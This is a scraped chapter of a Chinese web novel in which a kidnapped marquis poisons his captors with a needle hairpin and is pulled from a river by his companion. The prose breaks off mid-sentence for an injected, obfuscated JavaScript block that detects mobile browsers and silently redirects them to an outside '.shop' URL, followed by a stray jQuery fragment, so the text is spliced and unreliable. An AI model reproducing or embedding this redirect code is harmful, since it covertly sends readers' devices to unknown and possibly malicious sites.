文趣网 > 其他小说 > 妖孽侯爷训狗指南 > 36.心盟誓
    大雨倾盆而下,雷声轰鸣,路上行人行色匆匆急着归家,三匹骏马横穿过一顶顶圆伞飞奔在冷寂的街道上,马蹄踏过水洼,践过满是枯叶和花瓣的污泥,带着别样的冷肃与凄艳,长鞭落下,马儿的嘶吼声响彻长街,速度愈快。

    雨水糊住了魏廉的眼,他抬手抹了一把,朝魏君泽喊道:“主子,咱们去何处寻侯爷?”

    魏君泽的眉宇轮廓在雨中显得愈加凌厉张扬,水珠顺着下颚线汇聚到下巴处,浇湿了他的衣襟,胸前的雪狼牙白的森然,“去城外沟河。”

    “啊?去沟河做什么?”,魏廉身子往前倾了倾,还以为自己听错了。

    “咱们没有头绪,先听主子的吧。”魏清拉了拉魏廉,在一旁道。

    “驾!”,魏君泽眼眶被雨水激的猩红,他不断加快速度,脑中反复回想着当时梦中的情景,树林,小河……掐算一下萧瑾舟自下朝到现在的这些时间,就算驾马车急行,最多也只能到城外沟河那。

    到底是谁?能在宫中悄无声音的掳走一个人,又与萧瑾舟有仇的,是太子?不是,太子目前被禁足,连带着背后的皇后和樊家这段日子都收敛了不少,应该不是他,那么……就是恒王,是啊,这只恶心的臭虫,当时就该直接一脚碾死他,什么大局为重,什么隐忍谋划都是屁,这种混账就该被扒皮抽骨,做成人彘,日日折磨都不为过。

    魏君泽觉得自己错了,他就应该寸步不差的跟在萧瑾舟身边,或者干脆把萧瑾舟塞在衣襟里,圈起来,这样便谁也看不见,谁也碰不着了,可萧瑾舟不是他养的鸟雀,他是孤傲的鹰隼,不会甘愿躲在安乐窝,三年风雪,因恨而活,他日仇敌就在眼前,他是个狠人,就算豁出了命也是要报那旧日仇的。

    狂风卷着残叶拍打在魏君泽脸上,石子在他脸颊处划出了一道不小的口子,魏君泽又一次挥动长鞭,马儿长嘶一声后飞速狂奔,那蹄声踏响了长空,他身子前倾遥望着那乌云之下的城门口,似是认命一般,咬牙道:“萧瑾舟给我活着,你好好活着,往后,我便做你的刀!”

    萧瑾舟是被马车颠簸醒的,那些人该是怕他呼吸不了,上了马车便把他从麻袋里放了出来。审视着四周,马车宽敞,精致奢华,他平躺在中间,下边垫着褥子,身上也盖着上好的锦被。

    萧瑾舟试着稍稍动了动身子,却被后颈处的胀痛激的闷哼了一声又躺了回去,他闭上眼皱眉缓了缓神,咬着唇忍着那疼痛抬手拔下发间的玉竹簪攥在掌心,心想:“这般待遇,太子是不会给我的,而除了太子,能把我从宫中悄无声息的带出来的人便只有一个了……”,他苦笑一声,自己都想对自己说一声红颜祸水了。

    车帘突然被掀开,萧瑾舟马上闭眼装作还在昏睡,“老大,人还昏着呢,啧,瞧瞧这还是男人嘛,这小脸配上这身段长得比娘们还美。”

    被称作老大的男子身材魁梧,侧脸上有道狰狞的长疤,他斜眼冷盯着身旁的瘦小男子,“赖三,把你嘴边的口水擦擦,这是你能肖想的人吗?恒王殿下还在庄子上等着呢,别惹事。”最后三个字满含威胁。

    赖三被盯的有些怕,他撇撇嘴不舍的再看了萧瑾舟一眼把帘子合上,“啧,不就看看嘛,我哪敢动啊,有贼心没贼胆啊。”

    刀疤男回头继续驾车,“等拿到赏银,都够你在花楼里住好几年了,到时候哥儿姐儿随你玩,但现在把你的裤头给我管好了。”

    “啧,知道了。”

    萧瑾舟紧了紧手中的簪子,缓缓睁开眼,脑中快速思忖该如何脱身,如若不快点逃,待进了他们说的庄子,要想全须全尾的出来可就难了,外头只有两个人,虽不知身手如何,但手中的簪子里头毒针有三枚,还是可以赌一把的。

    “啊——”,萧瑾舟抬手抚着额头,状似疼痛难忍的样子。

    赖三掀开帘子,转头对刀疤男道:“娘的,人醒了。”

    那刀疤男转头看了一眼,没多在意,继续驾车,“我劝你不要挣扎,安分一些,我们不会伤你,也不会要你的命。”

    萧瑾舟道:“你们要带我去哪?”

    赖三摸着下巴,邪笑道:“自是送你去快活啊,小美人。”

    刀疤男睨了赖三一眼,语气依旧冷硬,“我们只是奉命行事,要怪就怪你自己,得罪了贵人。”

    “呕……呕……”,萧瑾舟捂住嘴巴装出一副要呕的样子,虚弱道:“快……停一停……我不舒服……”

    刀疤男回头盯看着萧瑾舟道:“别想这些虚招。”

    赖三道:“小美人,没多久就到地方了,到了自然有的让你舒服的,哈哈哈。”

    萧瑾舟眼中闪过一丝寒芒,他继续道:“我后颈……疼的不行,头晕胀的厉害一直想作呕,实在是难受得很,感觉要死了,若……若我死了,你们送一个死人去那,还能拿到报酬吗?”

    刀疤男眉头微微拧了起来,他想了几瞬,拉停了马车,“停下歇一刻,别想耍花招。”

    萧瑾舟笑笑自嘲道:“我……如今这般……还怎么耍花招。”

    “我……腹中难受的厉害,可以帮我找些水来吗?”

    赖三眼咕噜儿一转,对刀疤男道:“老大你去呗,给他找些水,这美人娇贵着呢,可不能有事,放心有我看着呢。”

    刀疤男点点头,下了马车又回头对赖三警告了一眼,“管好你那二两肉,别犯浑。”

    “我哪敢啊,老大你就放心吧。”

    萧瑾舟听刀疤男的脚步声愈远,收敛了冷然的神色,对着外头的赖三道:“外头的那位兄弟,可否帮我看看后颈的伤,我疼得厉害。”

    赖三往里头瞧了一眼,萧瑾舟侧躺着,面上眉头微蹙,眼中盈着水光,声音带上七分柔弱劲儿那更是让人心软了又痒,骨头都要酥了,花楼找哥儿姐儿?这哥儿姐儿比得上眼前这个快成精的吗,他爬进车厢内,“怎么了小美人?后颈疼?来,我赖老三给你吹吹。”

    萧瑾舟把头发撩到一侧,桃花眼挑看着赖三,“大哥,你瞧瞧可是青紫了?”

    赖三早就被迷瞪的晕晕乎乎了,那是痒在心里,骚挠不到实处,难受的厉害,可惜这小美人碰不得,可碰不得,闻闻摸摸总成吧,他爬到萧瑾舟身侧,往前凑到萧瑾舟的脖子处,深深吸了口香气,“小骚货,诱你哥哥我呢?哥哥摸摸……呃……”

    赖三的手离萧瑾舟的脸还有一寸时顿在半空,他惊恐的睁大双眼,抬手捂住自己的喉咙和胸口,眼睛、嘴巴、鼻子、耳朵都开始流出鲜血,“你……你……”,想要张口说话,但一张嘴里头又瞬间涌出一大股血喷吐而出。

    萧瑾舟手里的玉竹簪还对准着赖三,白衣沾上了赖三的鲜血,如同朵朵红梅绽放,他抬手擦去脸颊上沾到的血,看了眼,嫌恶的擦在锦被上,那双桃花眼笑的摄人心魄,“诱你?你配吗?”

    刀疤男装好水壶回来,远远望向马车,只见赖三垂着头坐靠在车厢外,“这赖三惯是会偷懒的,让他看好人怎么就睡着了。”

    “赖三醒醒!”,他快步上前推了推赖三,明明没用多少力,赖三却像是没骨头似的从马车上翻倒在了地上,那张双眼大睁,嘴唇乌紫,异常惨白的脸瞬时映入刀疤男眼中,赖三死了!

    他把水壶扔在地上,一把拉开帘子,萧瑾舟不在里头,“娘的!”

    萧瑾舟捂着后颈,他不知道方向只是死命的冒着风雨往前跑,后颈疼是真,头晕脑胀是真,腹中作呕也是真,恍惚间他好像又听到了父母哥嫂的声音,又回到了那个残忍的日子。

    “舟儿快跑!”

    “快跑,死命的跑!”

    ……

    眼前又开始模糊,萧瑾舟被淤泥石子绊倒在地,他费力的撑起身,摇晃了几下脑袋,不能晕,晕了就完了,什么都完了,他咬牙用簪子在手臂上狠狠划上一道,用疼痛让自己保持清醒。

    没跑几步,后领被一下子抓住,萧瑾舟被掀倒在地,刀疤男骑在萧瑾舟身上狠狠掐住了他的脖子,那双凶狠的眼与脸上的刀疤相映衬显得愈发阴戾森冷,“你敢骗老子,还敢杀老子的兄弟!”

    萧瑾舟扣抓着刀疤男的手,他想用簪子发毒针却无从下手,耳鸣声响起,面上胀红的厉害,太阳穴的青筋鼓起似是快要爆开,快要昏死过去前,刀疤男松开了手,他站起身拉起萧瑾舟的一只手,拖着他往回走,“若不是恒王要你,我现在就要了你的命!”

    萧瑾舟大口喘气,剧烈的咳嗽起来,仰头试图让雨水浇醒自己,他另一只手颤抖的紧握住簪子,放

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535413|202080||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在胸口冷静蓄力,随后用尽力气翻身刺划向刀疤男的大腿,一下,两下!

    突如其来的剧痛让刀疤男松开了手,摔倒在地,他捂着伤处彻底怒了,瘸着腿站起身,抽出腰带缠在萧瑾舟的脖子上,猛的拉紧,“娘的,老子不要这份赏金了!”

    “给老子去死!”

    萧瑾舟没有去扣抓脖子上的腰绳,他反手费力的转动簪子,脱力了好几次,在千钧一发之际发出了毒针。

    胸口一阵刺痛,刀疤男用力把萧瑾舟推开,捂着刺痛处直挺挺的摔在地上,七窍流血,死相与赖三如出一辙,萧瑾舟被他推的踉跄,手中的玉竹簪摔在地上碎成了两半,人也因为晕眩无力跌入了一旁的沟河中。

    “嗡——”,耳边的风雨声全部被冰冷的河水隔绝在外,嘴鼻里灌进河水,胸口被挤压的生疼,萧瑾舟睁开眼,还能看到河面上的天光,可他的身体却像是被绑了千斤重石一般,动不了一点,只能随着水流渐渐往下沉,眼睁睁看着离那光明越来越远。

    梦中的深渊在此刻有了实感,他正在不停的下坠,水流像是那扭曲的触手一般紧紧包裹住他,拉着他往深处走。

    身上的伤处渐渐麻木,萧瑾舟意识开始涣散,他感觉不到疼了,也感觉不到冷了,这是要死了吗?也好……

    萧瑾舟!——

    萧瑾舟眯合的眼微动了一下,他看着那如梦似幻的人影,不自觉勾起笑,想着怕是真的要死了,居然开始产生幻觉了,不过这样也好,鬼差和善,还知道接人时要化成人喜欢的模样,倒也算待他宽厚了。

    魏君泽拼命的往下游,他盯着那像是蝴蝶一般飘展着衣袍往下坠的白衣人,怕一错开眼,他就不见了,还差一点,还差一点!

    将那白蝶拥入怀中,魏君泽轻拍着萧瑾舟的脸想要他清醒一些,但却始终没有反应。

    比意识先回来的,是嘴唇上的触觉,那吻不算柔软,可以说是非常急切,撞得两人的嘴唇都破了个小口,魏君泽抱着萧瑾舟那比河水还冰凉的身体,浑身寒毛都立了起来,拼命地想把自己肺里的空气全部渡过去。

    求求你!求你了!萧瑾舟!

    魏君泽把气渡过去后,飞快的抱着萧瑾舟往上游,冲上河面,他摸了摸萧瑾舟的脸,探了探鼻息,随即立刻把他翻过身,拍按他的后背。

    “呕——”,萧瑾舟肺部的水被生硬的挤压了出来,魏君泽再次轻手把他放平,观察状态,又用双手使劲按压他的胸腹处。被河水冻得苍白的脸上,双眸猩红的吓人,嘴里不停喊着,唤着,求着,“生春,生春,你快醒醒,时序来了,魏君泽来了,我求求你了,睁开眼!”

    “主子!”魏廉和魏清赶过来时,看到的便是这样一幅场景,“侯爷怎么样了?”

    魏君泽依旧旁若无人的按压着,嘴里也没停下呼唤,一下、两下、三下……手掌开始麻木连带着手臂也一起抖了起来,不知是雨水还是河水,顺着魏君泽的下巴滴滴答答落在萧瑾舟的面上。

    “呕——”

    “咳咳咳咳——”

    终于,萧瑾舟口鼻里喷出一大股带着血丝的水,随后狼狈不堪的抽搐,咳嗽,喘息起来。

    “没事了,没事了。”,魏君泽把他拥在怀里,轻揉着他的后背,对着后边的魏清大喊道:“氅衣!”

    魏清把包裹里的氅衣快速披在萧瑾舟身上,魏君泽把萧瑾舟裹起来抱着,萧瑾舟颤颤抬起头看向魏君泽,那双半阖的黑玉般的眸子难得流露出难过,他拉着魏君泽的衣襟,无力的抬手碰了碰那脸颊上的伤口,“划伤了。”

    “不疼,我瓷实的很,你快别动了,我带你回家。”魏君泽把萧瑾舟冰冷的手握在掌心哈了口气,放回到氅衣里头,横抱着他起身,“我们回家,没事了,你别怕。”

    萧瑾舟靠在魏君泽身上,闭眼听着那蓬勃的心跳,扯起一丝笑,声音又小又闷,断断续续道:“我方才还以为是鬼差来接我了,他知道变成了你的模样,我就不怕了,会跟着他走了。”

    魏君泽喉口紧涩,怀中人轻的像是一片羽毛,一阵风来就能把他吹走,抓不住可怎么办,他手臂紧了紧,恶狠狠道:“什么走不走的,你要去哪?哪也不许去。”

    “你可真霸道啊。”